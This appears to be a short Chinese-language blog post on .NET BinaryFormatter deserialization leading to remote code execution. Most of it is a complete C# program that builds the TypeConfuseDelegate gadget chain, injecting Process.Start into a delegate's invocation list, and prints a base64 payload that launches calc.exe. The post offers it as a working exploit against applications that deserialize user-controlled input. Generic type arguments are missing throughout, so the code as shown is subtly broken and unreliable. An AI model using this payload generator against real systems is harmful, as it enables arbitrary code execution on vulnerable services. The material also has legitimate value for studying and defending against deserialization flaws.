.Net反序列化漏洞之BinaryFormatter

https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html

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.Net反序列化导致RCE的样例，有两点限制：

1. BinaryFormatter::Deserialize反序列化的内容用户可控
2. .Net SDK大于等于4.5

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization.Formatters;
using System.Runtime.Serialization.Formatters.Binary;
using System.Text;
using System.Threading.Tasks;

namespace Deserializer
{
    class Program
    {
        public static void getCalcPayload()
        {
            // Create a simple multicast delegate
            Delegate d = new Comparison(String.Compare);
            Comparison d2 = (Comparison)MulticastDelegate.Combine(d, d);

            // Create set with original comparer
            IComparer comp = Comparer.Create(d2);
            SortedSet set = new SortedSet(comp);

            set.Add("calc");
            set.Add("adummy");

            TypeConfuseDelegate(d2);

            BinaryFormatter formatter = new BinaryFormatter
            {
                AssemblyFormat = FormatterAssemblyStyle.Simple
            };

            using (MemoryStream stream = new MemoryStream())
            {
                formatter.Serialize(stream, set);
                int position = (int)stream.Position;
                byte[] array = stream.GetBuffer();

                Array.Resize(ref array, position);

                String payload = Convert.ToBase64String(array);
                Console.WriteLine("Calc.exe PayLoad:" + payload);

                //FileSystemUtils.Pullfile(payload, "payload_calc.dat");

                stream.Position = 0;
                formatter.Deserialize(stream);
            }
        }

        static void TypeConfuseDelegate(Comparison comp)
        {
            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
                                    System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);

            object[] invoke_list = comp.GetInvocationList();

            // Modify the invocation list to add Process::Start(string, string)
            invoke_list[1] = new Func(Process.Start);
            fi.SetValue(comp, invoke_list);

        }

        static void Main(string[] args)
        {
            getCalcPayload();
        }
    }

}

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